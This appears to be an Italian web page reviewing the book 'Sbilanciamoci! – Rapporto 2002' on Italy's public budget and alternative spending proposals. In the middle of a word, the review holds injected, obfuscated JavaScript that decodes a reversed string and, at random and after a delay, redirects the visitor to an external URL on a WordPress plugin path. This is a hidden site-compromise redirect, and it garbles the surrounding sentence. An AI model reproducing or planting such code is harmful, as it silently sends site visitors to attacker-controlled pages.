Sbilanciamoci!

image_pdfimage_print

Per il secondo anno consecutivo, prende vita Sbilanciamoci! – Rapporto 2002. Nato dall’omonima campagna portata avanti da molte associazioni, il volume prende in considerazione il bilancio dello stato italiano e la sua spesa pubblica, ponendosi un’affascinante dom (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anda: come utilizzeremmo la spesa pubblica se potessimo incidere sulle scelte fatte in Parlamento? Da questa considerazione prende vita un’attenta analisi e riflessione sul modo di gestire il bilancio pubblico e il suo possibile riutilizzo in maniera alternativa. Strizzando l’occhio all’allargamento della sfera dei diritti, o ad una possibile riconversione dell’economia per ridurre sprechi energetici e consumo dell’ambiente, Sbilanciamoci porta avanti valide proposte. Un tentativo tutto nuovo di gestione delle finanze statali, a partire dalle risorse davvero disponibili nelle casse dello Stato (se si propone una misura si dice dove prendere i soldi o dove toglierli), e uno sforzo di dare all’Italia un ruolo internazionale di pace e cooperazione allo sviluppo, in vista di un contesto internazionale in rapido mutamento.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *